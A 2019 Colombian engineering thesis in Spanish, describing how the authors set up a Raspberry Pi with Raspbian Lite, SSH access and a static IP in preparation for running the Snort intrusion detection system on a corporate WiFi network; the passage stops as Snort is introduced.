Deteccion de ataques en una red WiFi mediante la implementacion de un software
IDS

Jonny Alejandro Diaz
Rodriguez Brayan David

Sastoque Piza

Universitaria Agustiniana

Facultad de Ingenieria

Programa de Ingenieria en
Telecomunicaciones Bogotd, D.C

2019



Deteccion de ataques en una red WiFi mediante la implementacion de un software
IDS

Jonny Alejandro Diaz
Rodriguez Brayan David

Sastoque Piza

Director

Francisco Clemente Valle Diaz

Trabajo de grado para optar al titulo de Ingeniero en Telecomunicaciones

Universitaria Agustiniana
Facultad de Ingenieria
Programa de Ingenieria en

Telecomunicaciones Bogota, D.C

2019



Dedicatoria

Dedico el resultado de este proyecto primeramente a Dios que me presto el tiempo, la salud, la
sabiduria y el entendimiento para desarrollarlo, ademds puso en mi camino las personas correctas
para guiarme apoyarme y alentarme cuando fue necesario. Seguido a mi familia quienes fueron un
pilar fundamental en la biisqueda de mis objetivos, motivindome, apoyadndome y celebrando cada
uno de los triunfos que aparecian en el camino. Agradezco los valores, los consejos, la motivacion,
la perseverancia y el amor que han inculcado cada uno de ellos en mi vida para que con ello pudiese

superar los obstdculos que pretendian privarme de mis objetivos.

Brayan David Sastoque Piza

Dedicatoria

Dedico el presente proyecto a Dios que me ha guiado a lo largo de la vida, me ha brindado la
salud, la sabiduria y siempre ha estado presente; y a mi familia, ya que gracias al apoyo de ellos
me encuentro finalizando una carrera profesional, buscando cumplir uno de mis suefos, y son ellos

los que han estado en cada paso que doy brinddndome su apoyo, sus consejos, su ayuda.

Jonny Alejandro Diaz Rodriguez



Agradecimientos

Agradecemos primero que todo a Dios, luego a cada uno de nuestros docentes por su dedicacion,
por guiarnos a lo largo de todo nuestro proceso educativo y profesional, en cada uno de ellos
siempre encontramos esfuerzo, dedicacién y amor por su profesion, lo que nos llevé a crecer no
solo como profesionales sino como personas, interiorizando cada uno de los conocimientos

impartidos.

Un especial agradecimiento al ingeniero Jorge Hernandez quien con su paciencia, perseverancia
y fe compartié cada uno de sus conocimientos con nosotros con el fin de dar solucién a cada uno

de los obstaculos que se presentaban a lo largo del proyecto.

A nuestro guia y tutor el ingeniero Francisco Clemente Valle Diaz quien con su paciencia y
entusiasmo siempre nos dio la motivacion necesaria para persistir, ademds de guiar nuestro

proyecto de manera profesional con el fin de obtener los resultados esperados.

Agradecemos también a la Universitaria Agustiniana quien nos dio la oportunidad de cursar una
carrera profesional con todos los recursos necesarios para lograrlo de manera eficiente, llevindonos

a ser una gran competencia para el campo laboral.



Resumen

En el desarrollo del presente proyecto se ha buscado implementar un software IDS conocido
como Snort en una red Wifi para de esta manera determinar si algtin host o dispositivo conectado
a la red Wifi es atacado o vigilado por algun intruso de la red. Para lograr realizar el proyecto
mencionado se llevo a cabo la implementacion y configuracion del software IDS Snort en un
dispositivo conocido como Raspberry en la cual fue instalado anteriormente el sistema operativo
Raspbian el cual tiene como base el Debian de Linux, también fue necesario configurar un router
MikroTik como espejo, ya que el router establece la red pero todo el trafico que se va a dar por la
red pasa primero por el segmento de red dado a la Raspberry en la cual se encuentra el software
IDS para analizar el trafico y mirar si hay intrusos o ataques en la red, posterior a eso se llevo a

cabo la realizacion de pruebas en una red Wifi corporativa para determinar si se realizan ataques.
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Introduccion

Las redes WiFi cada vez se vuelven mds importantes en la vida de cada ser humano, desde la
aparicion de los dispositivos moviles y las redes inaldmbricas, el acceso a Internet por medio de
redes WiFi las cuales permiten que los celulares, pc o cualquier otro tipo de dispositivo se conecten
a internet inaldimbricamente, en otras palabras (Valle, 2018, pag. 73) cuenta “El estar conectados
todo el tiempo desde diversos dispositivos se ha convertido en algo habitual, sin embargo, los
riesgos asociados a esta creciente conectividad también aumentan y al parecer dichos riesgos son
ignorados por la ciudadana en general”, esto quiere decir que la seguridad de las redes WiFi se pasa
por alto, aun sabiendo que es un tema al que hay que tenerle mucho cuidado ya que la informacién
de todas las personas conectadas a la red estdn expuestas, y debido al gran impacto de las redes
WiFi en la humanidad, hay hackers que buscan robar dicha informacién para cometer
cibercrimenes y que se han convertido en un gran problema para todo usuario, organizacion y hasta

paises, como cuenta (Valle, 2018, pag. 75)

“El ciber espionaje, las preocupaciones en materia de privacidad y la proliferacion de nuevas
vulnerabilidades, han sido en parte responsable de los altos costos asociados a los delitos
cibernéticos. Solo en el ano 2013 segin cifras reveladas por la OEA [12] se estima que
ascendieron a por lo menos USD 113.000 millones. En Brasil los costos asociados a los delitos
cibernéticos alcanzaron los USD 8.000 millones, seguidos por México con USD 3.000 millones

y Colombia con USD 464 millones”

Debido a lo mencionado anteriormente es necesario tomar medidas que busquen disminuir este
tipo de ataques, una de esas medidas es la implementacion de software IDS como Snort, que se
encarga principalmente de monitorear una red deseada para detectar si hay intrusos que estén
buscando realizar un ataque a alguno de los hosts conectados a la mencionada. En el presente
proyecto se hard la implementacién de Snort en un dispositivo conocido como Raspberry
previamente configurada, posterior a la instalacion y configuracion del software IDS en el
dispositivo se realizard la configuracion de un router MikroTik para que actie de manera que todo
el trafico de la red pase primero por el segmento de red al cual estd conectado la Raspberry ddndole
una direccion IP estdtica, donde se podré analizar el trafico que pasa por toda la red para de esta

manera determinar si hay intrusos en la red y poder tomar medidas contra esto.
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Justificacion

El presente trabajo de grado se enfocard en el andlisis y estudio de los diferentes tipos de intrusos
que se presentan en una red Wifi, ya que segtin (Symantec, 2019) el gran problema del Wi-Fi es
que es muy probable que su seguridad sea inexistente, una de las amenazas mds conocidas se le
conoce como Man-in-the-Middle (MitM) que consiste bdsicamente en el espionaje, permitiendo
que el atacante tenga acceso a la informacién pues al navegar no estd cifrada como en una red
privada, también es probable introducir malware en los equipos mediante las vulnerabilidades del
software, esto por mencionar algunos ataques. Es importante conocer los diferentes ataques de
intrusos que se pueden generar en una red Wifi para de esta manera saber como enfrentarlos o

tomar medida contra ellos.

A partir de la realizacién de este proyecto se tendra la obligacion de investigar y aprender en
temas como montaje y configuracién de Snort, al igual que de los ataques a los que puede estar
expuesta la red donde sea implementado, nos encontraremos con pruebas funcionales e
implementacion de conocimientos adquiridos a lo largo de la carrera profesional, como lo son: IP
privada, IP publica, Routers, segmentos de red, configuracién de red, programacion, sistemas
inaldmbricos, entre otros, con el fin de obtener un informe de los posibles ataques a los que se
encuentra expuesta una red inaldmbrica. Ampliando asi los conocimientos profesionales y
adquiriendo experiencia en la configuraciéon e implementaciéon de sistemas de seguridad en

diferentes tipologias de red.
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Problema de investigacion

La cantidad de personas que acceden a una red para ingresar a la internet ronda por los cuatro
mil millones de personas conectadas (Live Stats, 2019), por tal motivo es casi imposible imaginarse
la vida sin una conexion a la red de redes, de acuerdo con (it Reseller, 2016) durante la temporada
de vacaciones son casi el 80% de los turistas que siguen conectados a la internet y el 70% de ellos
lo hace desde redes ptblicas Wi-Fi, de hecho estas redes se han convertido en un lujo en las
cafeterias, aeropuertos y universidades, el problema es que estas redes no estan bien protegidas y
su tréfico de datos es facilmente interceptarle por los cibercriminales, a esto se le sume el 21% de
estos turistas suelen utilizar ordenadores en cibercafés que tampoco tienen algun tipo de seguridad,
por esta razén para las fechas de temporada vacacional se convierten en objetivos para
ciberataques, interceptando facilmente el trafico que circula a través de ellos, desde contrasefias a
tarjetas de crédito y todo tipo de informacién personal, afirma Tim Berghoff, experto en

ciberseguridad de G DATA Software .

Un ejemplo es el caso del gran robo bancario cibernético que se realiz6 en febrero de 2016,
donde se extrajeron 81 millones de dolares de los fondos del banco central de Bangladés y que se
mantenian en el banco de la reserva federal de Nueva York. Lo anterior se realiz6 mediante un
malware que simul6 realizar transferencias legitimas de dinero a través de una aplicacién llamada
SWIFT, que utilizan todos los bancos para realizar operaciones entre ellos, por tal motivo se puede
evidenciar que una red privada con diferentes tipos de seguridad como lo es la de un banco sigue

siendo vulnerable.

Las redes WiFi siempre estdn expuestas a ataques, a espionaje, en otras palabras, a que estén
circulando intrusos en la red buscando algiin host o dispositivo para poder robar informacion

importante como en el caso del banco.
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Objetivos
Objetivo general
Implementar un software IDS en la red de un router MikroTik con el fin de realizar un estudio

de los diferentes ataques a los que estd expuesta la red WiFi propagada por dicho router.

Objetivos especificos

e Realizar la instalacién y configuracion del IDS Snort en una Raspberry basada en
Raspbian lite.

¢ Implementar el IDS en una red WiFi corporativa bajo la cobertura de un router
MikroTik.

e Programar las reglas de seguridad del software IDS para la deteccion de ataques
deseados.

e Realizar pruebas y andlisis de las reglas configuradas en el Snort para los ataques

realizados a lared WiFi que es el objeto de proteccion.



Marco de referencia

En la actualidad el avance tecnoldgico ha llegado bastante lejos, como por ejemplo el internet
de las cosas (IoT) en el que podemos encontrar bombillas inteligentes, asistentes controlados por
voz, entre otros y a pesar de que segtin (Symantec, 2019) los routers y las cdmaras representan el
90% de los dispositivos infectados este avance tecnoldgico representa mayor cantidad de
ciberataques pues aumenta los puntos de acceso fécil, los ciberataques consisten en el robo de
informacion como credenciales y datos, borrar datos de dispositivos, espionaje, interceptar
comunicaciones como por ejemplo de tipo SCADA entre otros, con amenazas como Thrip y Triton
poniendo en riesgo diferentes tipos de redes. Asi mismo los sectores de alta dependencia de la

informdtica son un blanco potencial para los ciberataques.

La idea de estos ataques informéticos es que se implantan archivos maliciosos en pdginas web,
USB, o también hay intrusos que se infiltran en una red WiFi a la cual se conectan varios usuarios
por medio de host o servidores, que a la vez son los blancos para los mencionados intrusos, sea
cual sea el dispositivo que el usuario utiliz6 para acceder a dicha red tuvo que utilizar una direccion
IP privada, la cual es la que se le dio al dispositivo para poder acceder a la red o en otras palabras
es el segmento de red que se le otorga al dispositivo para que éste pueda acceder a ella, y es la que
utiliza intruso o hacker que es la persona con conocimiento informdtico para realizar los
mencionados ciberataques, tendrd entonces acceso a todos los datos suministrados o almacenados
en esa base de datos, por lo tanto mucha informacion personal estard comprometida y afectara de

gran manera a cada uno de los usuarios hackeados.

Existen una que otra manera para prevenir los ataques mencionados anteriormente, una de ellas
es la utilizacion de software IDS (Sistema de deteccion de intrusos), que se implementa en un
dispositivo o unared para de esta manera estar atentos a los diferentes tipos de intrusos que intenten

infiltrarse a la red.
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Antecedentes investigativos

Para la realizacion de este proyecto en primera medida se tiene que realizar un estudio
de los diferentes ataques a los que estd expuesta una red WI-FI, debido a esto se tomara
provecho de las diferentes menciones en ataques de inyeccion inalambrica a los que esta
expuesta una red WI-FI que se encuentran en el articulo (Ibrahim Ghafir, 2018), ataques
ya sean de autenticacion, en la capa fisica, y ataques de punto de acceso no autorizado,
para la solucidn de este problema presenta una metodologia empleada en un software IDS
que se encarga de monitorearlas redes WI-FI de los diferentes tipos de ataques de
inyeccidn, en particular los MitM y los de autenticacién, mediante el uso de datos que
pasa por el trafico de una red WI-FI, en el presente articulo explican cémo debe ser
configurada la metodologia ya que ésta se debe adaptar dependiendo del ataque que se
desea detectar, tomdndose en cuenta que sigue sin ser suficiente abarcar todos los ataques a
los que puede estar expuesta una red WI-FI se tomaran referencias de Tao Y et al (2011)
donde se da a entender que, con el rdpido desarrollo del Internet, la red se ha convertido
en un lugar para cometer ataques o delitos informaticos. Se habla de la proteccién de la
informacién de la red teniendo en cuenta los ataques a las que la ya mencionada estd
expuesta. El articulo nos menciona que el sistema de red es complejo y vulnerable, por
esto mismo se debe hacer un estudio de los ataques que mds afectan la red y asi tomar
medias, dicho estudio se va a realizar con una simulacién de ataques de red. La
simulacidn de ataques de red estd disefiada con los modelos de pardmetros de inmunidad
de los ataques y las ticticas de evaluacion de ataques de inmunidad. Se hace uso de una
plataforma practica para de esta manera hacer una investigacion del entorno y obtener los
ataques y una descripcion de estos para afectan la plataforma, estos ataques simulados
ahorran costos, dafos, entre otras cosas y basados en todo esto se tomardn dichos ataques
para una red WI-FI. A partir de aqui el objetivo ya habiendo abarcado algunos ataques, la
implementacion del Software es paso a seguir y para ello serd de provecho la presentacion
que muestra (Reina, 2019) donde se encuentra la sexta parte de un tutorial para la
implementacion del IDS Snort con pasos simples e informacion detallada como de donde
viene el Snort, los usos, la arquitectura, hace un especial énfasis en las reglas para la
respectiva configuracion de alertas, es decir la implementacién del codigo para algunos

ejemplos de los diferentes tipos de virus en el Snort, debido a que es la prioridad de la
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presentacion toca temas como la activacion, modos de activacion, instalacidn, protocolos
entre otros, sin embargo el manejo y presentacion del software IDS seguird siendo un
reto, es por ello que basados en (Xiaojin Hong, 2012) donde trabajan en la
implementacion de una herramienta de visualizacién llamada VisSRA, incorporada al
IDS Snort con el fin de observar més facilmente y rdpidamente las reglas y las alertas y
poder diferenciarlas, se tomaran ventajas para la representacion y manipulacién de dicho
software pues habla detalladamente de las formas de visualizacién ya implementadas en
el IDS Snort conocidas como los mapas de drboles con el fin de especificar
detalladamente las ventajas y/o diferencias con el viso VisSRA, como por ejemplo una
vision general del estado de la red para principiantes, en conclusion el experimento
presenta una propuesta con cierta conveniencia para analizar las anomalias de la red para
los administradores. Por ultimo Gan J et al (2015) donde dice que Internet es de libre
acceso para cualquier persona y esto implica un problema en la seguridad de nuestra
informacion o nuestros datos personales, pues usualmente todos nuestros archivos navegan
por la nube, diferentes estudios de diferentes entidades comprueban la filtracion de
informacion de usuarios, afectando no solo la propiedad de los usuarios sino creando
vulnerabilidad en el caso de que dicha informacién termine en manos de delincuentes,
cualquier divulgacion nos hace pensar en la seguridad de nuestra red. Por esta razén se
implementa un médulo de detencion en tiempo real de ataques de red que es lo mds
importante para la seguridad de nuestra informacion, el objetivo es realizar varias capas
de defensa para que el atacante no pueda dar con nuestra informacién, haciendo backup,
realizando mantenimientos, leyes y conciencia de la seguridad de nuestra informacién y

basados en esto se realizaran las presentaciones y muestras del presente proyecto.
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Metodologia

El presente proyecto dard inicio con un estudio de los diferentes ataques informaticos a los que
es vulnerable una red WI-FI, para de esta manera hacer una recoleccién de datos lo mas detallada
posible; para la realizacién de este proyecto es necesario aprender a programar el software de
deteccidn de intrusos, conocido como Snort, como bien se sabe para poder implementar el software
mencionado se deben conocer los ataques que se desean detectar ya que para cada ataque Snort
debe ser programado de diferente manera, es en este momento cuando se hace uso de la recoleccion
de datos mencionada al principio, después de que se haga la implementacion del software en el
entorno y tiempo deseado, se realizard un andlisis estadistico de los datos obtenidos para poder dar
conclusiones sobre los ataques a los que la red WI-FI es mds vulnerable. La investigacion
cuantitativa es la que permite obtener conclusiones mediante recoleccion de datos que son
analizados con métodos estadisticos, relacionando el proceso del proyecto y la definiciéon del
enfoque investigativo se sabe que es la adecuada y la que mejor encaja con los objetivos deseados.
Otro aspecto importante a tener en cuenta es que en el proyecto no se podran saltar pasos, un paso
debe llevar al otro, “El enfoque cuantitativo es secuencial y probatorio. Cada etapa precede a la
siguiente y no podemos eludir pasos. El orden es riguroso.” (Sampieri, 2014). Cabe destacar que
la investigacidn cuantitativa a realizar tiene un alcance descriptivo debido a que es el que pretende
y se limita a recoger y medir la informacion, en caso del presente proyecto, de los ataques a
identificar mediante un estudio de los diferentes conceptos y variables que interfieren en lo ya

mencionado.
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Cronograma

MES 1 ‘ MES 2 MES 3 MES 4

ACTIVIDAD SEMANA |1 |2 (3|4 |1 |23 4|12 |34 |1|2]3

1 | Investigacion sobre los | x | x
diferentes ataques que

afectan a una red WI-FI

2 | Estudio de cada uno de X | X |xX [X
los ataques yla forma de
detectarlos con el

software

3 | Instalar y configurar | X | X

sistema operativo
Raspbian en la
Raspberry
4 | Instalar y configurar X | X [X |X [X

software IDS en la

Raspberry

5 | Configurar router X |X |X [X
MikroTik para que todo
el trafico de la red pase

primero por la

Raspberry

6 | Realizar pruebas de X [X
funcionamiento del
software IDS

7 | Instalar KaliLinux en un X | X

pc en maquina virtual

8 | Aprender a realizar X | x
ataques desde

KaliLinux




Realizar ataques en la
red para comprobar

funcionamiento
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Desarrollo

Instalacién del IDS

La instalacion del software IDS se realizé en un dispositivo conocido como Raspberry Pi que
segun el blog historia de la informética “es una placa computadora (SBC) de bajo coste, se podria
decir que es un ordenador de tamafio reducido, del orden de una tarjeta de crédito... el concepto es
el de un ordenador desnudo de todos los accesorios que se pueden eliminar sin que afecte al
funcionamiento basico. Estd formada por una placa que soporta varios componentes necesarios en
un ordenador comtn y es capaz de comportarse como tal” (PI, 2013). Aprovechando la distribucion
Raspbian lite que es un sistema operativo gratuito basado en Debian, optimizado para el hardware
Raspberry Pi, que viene con mds de 35,000 paquetes (Raspberrypi, 2019). La version lite no cuenta
con interfaces graficas o entorno de escritorio, se adapta a las necesidades de un sistema operativo
muy ligero con un conjunto minimo de paquetes, esta version requiere una cantidad muy baja de
RAM y uso de CPU, por esta razén es la distribucion ideal para el aprovechamiento de los recursos

de la Raspberry y el 6ptimo funcionamiento del IDS. (peppe8o, 2019)

En el primer contacto que se tiene con una Raspberry en base Raspbian lite requiere el uso de
algunos recursos para su manipulacion y configuracion, para este caso fuera de las Raspberry se
necesitd un teclado, un monitor con interface HDMI, un adaptador de 5V y un cable HDM]I, los
cuales en conjunto permitieron los primeros pasos de configuracion del sistema operativo

Raspbian.

Figura 1. Raspbian3 con su respectiva microSD. (Autoridad propia)
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Figura 3. Primer contacto con Raspbian lite. (Autoridad propia)
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Para la insercién del sistema operativo que no es mds que un archivo de formato iso, en la
microSD de manera correcta para una iniciacién limpia de Raspbian en la Raspberry se requiere
de un proceso y un software adecuado, proceso en el cual se utilizé el aplicativo conocido como

balenaEtcher que segtn su sitio oficial:

“Nace con la necesidad de facilitar mediante una aplicacion el flasheo, escritura y
sobreescritura de una tarjeta SD de manera simple para sus usuarios finales, extensible para los
desarrolladores, otorgando seguridad en los procesos y con la disponibilidad en cualquier

plataforma (Windows/MAC/Linux)” (balenaEtcher, 2019).

Gracias a las funciones que presta la aplicacion en cuestion se puede realizar la escritura del
sistema operativo raspbian lite sobre la microSD de la Raspberry o en su defecto la sobreescritura

de la imagen creada como respaldo de la informacidn y configuracién ya realizada (Backup).

BalenaEtcher tiene una interfaz gréafica que permite cargar la imagen que se desea escribir en la

microSD seleccionada, con el fin de lograr una escritura o sobreescritura de manera simple.

Etcher — =

ﬁ balenaEicher Ly balena

Figura 4. Interfaz grafica balenaEtcher. (Autoridad propia)
1. Seleccion de imagen (.iso)
2. Seleccién de microSD

3. Inicio del proceso de escritura
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En el primer contacto que se tiene con el sistema operativo se encuentran lineas de comando
informando sobre cada una de las inicializaciones de servicios de Raspbian con el fin de tener un
seguimiento del encendido de este, se puede evidenciar un “OK” en cada uno de los procesos que

al final llevan a la autenticacion de usuario para administracién, por defecto el usuario

administrativo y su respectiva contrasefia son:
Usuario: pi

Contrasena: raspberry

t

g: ':l:ri‘d target Basic System,
arting dphys-suapfile - set up, mount/ummount, and
Started Regular background program process ing d,’mm_"'ﬂcte a
Starting dhcped on all interfaces., .,
Starting System Logging Serulce. ..
Started D-Bus Systen Message Bus.
Starting WPA supplicant...
Starting Configure Bluetooth Hodems conmected by UART...
Starting Auvahi nDNS/DNS-SD Stack...
Started Manage Sound Card State (restore and store).
Starting triggerhappy global hotkey daemon. ..
Starting LSB: Suitch to ondemand cpu governor (umless shift
Starting Login Service. ..
Starting rng-tools.service...
Started Dally rotation of log files.
Reached target Timers.
Starting Save/Restore Sound Card State...
Started triggerhappy global hotkey daemon.
Started System Logging Service.
Started rog-tools.service.
Started Save/Bestore Sound Card State.
Reached target Sound Card.
Started Login Service.
Started LSB: Sultch to ondemand cpu governor (unless shift key
Started dphys-swapflile - set up, mountunmount, and delete a s
Started Avahi aDNS/DNS-SD Stack.
Started MPA supplicant.
Started Configure Bluetooth Hodems conmected by URRT.
Starting LoadsSave RF Kill Switch Status...
Started LoadsSave RF Kill Switch Status.
Created slice system-bthelper.slice,
Starting Bluetooth service...
Started Bluetooth service,
Started Raspberry Pl bluetooth helper.
Reached target Bluetooth.
Starting Hostname Service...
Started Hostname Service.
Started dhcped on all Interfaces,
Reached target Network.,
Starting setcsrc, local Compatibility...
Starting Permit User Sesslons...
address Is 192.168.0.19 £d51:4218:cane:d92e::
Starting OpenBSD Secure Shell server...
Started setcsre, local Compatibllity,
Started Permit User Sessions.
Started Getty on ttyl,
Reached target Login Prompts.
Started OpenBSD Secure Shell server.
Reached target Multi-User System.
Feached target Graphical Imterface.
Starting Update UTHP about System Runlevel Changes...
Started Update UTHP about System Runlevel Changes.

L

e

[ 1
L 1
[ 1
[ 1
[ 1
[ 1
; ]
[ ]
[ 1
[ 1
L 1

Nl

e

Rasphion GHU Linux 10 raspberrypl tiyl

raspborrypl login:

Figura 5. Estado de inicializacién de Raspbian. (Autoridad propia)
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Para la configuracion del sistema operativo e instalacion del IDS se requiere el uso de un usuario
conocido como “Superusuario” el cudl en Raspbian se crea autométicamente con el nombre “‘root”
y que cuenta con acceso a la raiz del sistema, es decir a /root. Para este caso se le asignard la
contrasefia (Safas10i05ce) al usuario root con el comando que se aprecia en la figura 6 donde

solicitard introducir la contrasefia y confirmarla.

t new pa d:

Figura 6. Cambio de contrasefia. (Autoridad propia)

Autenticados como usuario “root” se procede a la configuracion del sistema operativo donde
como primer paso se requiere el acceso a internet mediante una red Wi-Fi y para ello se gestiona
la validacion de usuarios y contrasefia de la red Wi-Fi deseada que se configura editando el fichero
(wpa_supplicant.conf) ubicado en el directorio “/etc/wpa_supplicant” aprovechando el editor de
texto nano que viene instalado por defecto en el sistema operativo raspbian utilizando asi el

comando expuesto en la figura 7.

Figura 7. Comando editor del fichero wpa_supplicant. conf. (Autoridad propia)

Segtn un blog:

“Nano es un editor de texto minimalista y amigable que no solo nos permite editar texto, sino
que ademds tiene otras caracteristicas muy interesantes que lo hacen especialmente ttil para
modificar archivos de configuracion en la terminal... Entre otras caracteristicas, nano nos ofrece
las siguientes: Operaciones de buisqueda y reemplazo interactivas, permite las hacer y deshacer
acciones, permite ir directamente a un nimero de linea o autoguardado de archivos” (atareao,

2017).

Al ingresar en el fichero (wpa_supplicant.conf) se encontrard una ventana editable con sus
respectivas funciones en la parte inferior como se aprecia en la figura 8, donde se digitara las lineas
de cédigo que se evidencian en la figura 9 remplazando “nombre-de-tu-wifi” y “password-de-tu-

wifi” por los datos solicitados conservando las comillas.
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@0 nano 3.2 Jete/vwpa supplicant/wpa supplicanc.coaf

Figura 8. Ventana de configuracion del fichero wpa_supplicant. conf en nano. (Autoridad propia)
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
update_config=1
country=ES

ey _mami=kPA4-PSK

Figura 9. Linea de c6digo para autenticacion. (Llamas, 2018)

La configuracion de autenticacion para la red Wi-Fi quedo como se encuentra en la figura 10 y
las pruebas realizadas para validar servicios de navegacion se evidencian en la figura 11, donde
basicamente se realiza un ping a los DNS de Google donde se obtiene respuesta de estos.
Adicionalmente se realiza una validacion de los valores de configuracién de red TCP/IP actuales
mediante el comando expuesto en la figura 12 donde se evidencia el direccionamiento asignado a

la interfaz wlanO.

GNU nano 3.2

Figura 10. Lineas de c6digo para autenticacion de red Wi- Fi. (Autoridad propia)
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Figura 11. Ping a los DNS de Google. (Autoridad propia)

Figura 12. Direccionamiento de la interface wlan. (Autoridad propia)
Aprovechando la conexifn a internet se procede a la instalacion y actualizacion de aplicativos
y servicios previos requeridos para la instalacién y configuracién del IDS como por ejemplo el

cambio de editor de texto “nano” a “vim” puesto que segtin Ciberaula.

“Vim ademds de ser un editor muy potente y suplir las opciones de nano, permite hacer
complicadas operaciones en grandes ficheros con muy pocos comandos, por lo que su
aprendizaje puede ahorrarnos mucho tiempo... Vim, es un clon mejorado del “vi”, incluye
coloreado de sintaxis para casi todos los lenguajes de programacién existentes y ficheros de

configuracion de Linux/Unix” (Ciberaula, 2019).

Esta instalacion se realizo bajo el comando que se evidencia en la figura 13.



e and &

Figura 13. Instalacion del editor de texto vim. (Autoridad propia)

Teniendo la Raspberry conectada a una red Wi-Fi y pardmetros iniciales configurados como lo
es la instalacién del editor de texto “vim” se puede considerar la implementacion de un tinel de
administracion del dispositivo con el fin de omitir periféricos innecesarios como los son, el monitor
y el teclado, llegando asi a la configuracion del sistema operativo raspbian en linea de comandos
desde un equipo de computo ubicado en el mismo segmento de red, para esto se considera el uso

del aplicativo PuTTY.

“PuTTY es un emulador gratuito de terminal que soporta cliente SSH y Telnet entre muchos
otros protocolos, con el podemos conectarnos a servidores remotos iniciando una sesién en ellos
que nos permite ejecutar comandos” (Zeokat, 2014). Es una herramienta muy util a la hora de
conectar a un servidor Unix o Linux a través de SSH pues permite administrar un servidor remoto
mediante linea de comandos de manera gratuita y portable en multiples plataformas, ademas de
contar con un constante desarrollo y una gran comunidad que brinda amplias oportunidades de
soporte. Estas cualidades hacen de PuTTY una herramienta fundamental para la instalacion y

configuracion del IDS en Raspbian.

Para establecer el tiinel de comunicacién con PuTTY entre un equipo de computo y la Raspberry
ubicados en el mismo segmento de red es necesario utilizar el protocolo de comunicaciéon SSH que

segun el blog de Tutorial H Hostinger

“SSH o Secure Shell, es un protocolo de administracion remota que le permite a los usuarios
controlar y modificar sus servidores remotos a través de Internet, a través de un mecanismo de
autenticacion. Proporciona un mecanismo para autenticar un usuario remoto, transferir entradas
desde el cliente al host y retransmitir la salida de vuelta al cliente. El servicio se cre6 como un
reemplazo seguro para el Telnet sin cifrar y utiliza técnicas criptograficas para garantizar que
todas las comunicaciones hacia y desde el servidor remoto sucedan de manera encriptada” (C.,

2019).
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La interface grafica de PuTTY tiene diferentes prestaciones con las cuales se puede llegar a
establecer un tinel SSH para la administracién de la Raspberry de manera sencilla. En la figura 14
se encuentran los pardmetros establecidos a lo largo de toda la configuracion e instalacién del IDS,
dentro de los cuales se encuentra la IP con la que se entabla el tinel, el puerto y el protocolo de
comunicacion, también se encuentra un apartador para guardar el tunel con el fin de poder realizarlo

en cualquier momento de manera simple.

#2 PuTTY Configuration ? X
Category:
[=)- Session Basic options for your PuTTY session
LT Loi?ing Specify the destination you want to connect to
T e’"’K':yboa » Host Name (or IP address) Pot
Bel 1[192.153 0.19 | [22 _|
Features Connection type:
). Window ORaw O Tenet ORogn] @ ssH] O sens
Appearance )
Behaviour Load. save or delete a stored session
Translation Saved Sessions
[+ Selection | Raspbery |
Colours [ : I
| Default Settings
= Connection | ADON = 2| toad
Data !Pﬂ'mals -Chia
Proxy | Animals - Colina
| Animals - PBX
i Teingt | Animals - PBX - Nube Delete
Rlogin | Animals - Pepe Siema s
- SSH - =
Sedal Close window on exit:
OAways (ONever (@ Onlyon clean extt
About Help I Open Cancel

Figura 14. Interface grafica de PuTTY. (Autoridad propia)

Los respectivos apartados evidenciados en la figura 14 hacen referencia a la seleccion de

protocolo, guardado e inicio de comunicacion, también se encuentra:

1. Direccién IP adoptada por la Raspberry
2. Nombre del tinel SSH guardado en PuTTY

Cabe resaltar que para la implementacion del tinel es necesario habilitar los permisos para la
conexidn por el protocolo de comunicacion SSH de la Raspberry, esto se realiza modificando el
fichero (sshd_config) ubicado en el directorio “/erc/ssh” con el comando que se aprecia en la figura
15, donde basicamente se reemplaza las lineas de c6digo como se evidencian en la figura 16.
Adicionalmente es necesario correr el comando de habilitacion ssh como se puede ver en la figura

17.
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fetc/ssh/sshd con 5 v

&
g. (Autoridad propia)

i6n del fichero sshd_confi

Antes

Despues

. Comando para habilitacién de servicios SSH. (Autoridad propia)

Figur
Establecido el tunel se encuentra una ventana del aplicativo PuTTY como en la figura 18 donde

se puede administrar, gestionar y configurar el raspbian y el IDS de manera remota desde un

computador ubicado en el mismo segmento de red.

EP 192.168.0.19 - PuTTY — ] + 4

Figura 18. Ventana del aplicativo PuTTY con tunel establecido. (Autoridad propia)



No obstante, aparece un percance en esta etapa de configuracion de la Raspberry pues en cada
reinicio que requiere el dispositivo, el direccionamiento IP que adopta es alterado puesto que la
configuracion de red estd asignada mediante un DHCP Client que segun el blog de Adslzone “Se
trata de un protocolo de configuracion dindmica de host... de tipo cliente / servidor que se
encarga de asignar direcciones IP de forma dindmica... Esto es lo que permite que puedan
comunicarse con otras redes IP” (Gonzdles, 2019). Este percance provoca la reconexion de los
periféricos, teclado y monitor con el fin de conocer el nuevo direccionamiento adoptado para

volver a establecer el tinel con el aplicativo PuTTY.

Para dar solucién a este inconveniente se requiere la configuracién de un direccionamiento
estatico, el cual se puede asignar configurando el fichero (dhcpcd.conf) ubicado en el directorio
“etc” con el comando que se evidencia en la figura 19. En este fichero se encontrard comentadas
algunas lineas de cddigo ofreciendo un ejemplo de configuracion de direccionamiento estatico
como se evidencia en la figura 20, aprovechando este ejemplo se aplica una nueva linea de
codigo asignado el direccionamiento deseado y a la interface de red que se desee, en este caso la
interface Wireless como se puede ven en la figura 21. Con esto se da solucidn definitiva pues
cada reinicio que requiera el dispositivo llevara a una asignacion estatica de direccionamiento IP
que permitiré establecer un tinel SSH sin problema alguno.

ro ~x /e

Figura 19. Comando para edicion de fichero dhcped.cong. (Autoridad propia)

Figura 20. Ejemplo de direccionamiento estatico. (Autoridad propia)
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A partir de este momento teniendo la Raspberry preconfigurada se puede proceder con la

instalacién del IDS “Snort” el cual segin su pagina oficial.

“Snort es un sistema de prevencion de intrusiones de red de codigo abierto, capaz de realizar
andlisis de trafico en tiempo real y registro de paquetes en redes IP. Puede realizar andlisis de
protocolo, busqueda / coincidencia de contenido, y puede usarse para detectar una variedad de
ataques y sondas, como desbordamientos de bifer, escaneos de puertos furtivos, ataques CGI,
sondas SMB, intentos de huellas dactilares del sistema operativo y mucho mas” (Snort, Snort,

2019)

Lo que llevo a su seleccion debido a sus grandes disponibilidades como lo menciona el blog de

Reporte Digital.

“La gran escalabilidad que ha tenido snort, y flexibilidad para ejecutarse en varios sistemas
operativos y la capacidad que tiene de realizar acciones para alertar a usuarios de actividades
sospechosas en la red a través del uso de firmas, los usuarios pueden personalizar su propio
conjunto de reglas. Para lograrlo se recibe la ayuda tecnoldgica de la vasta comunidad snort. De
igual manera se puede monitorear el trafico entrante y saliente e identificar el trafico sospechoso

0 malicioso.
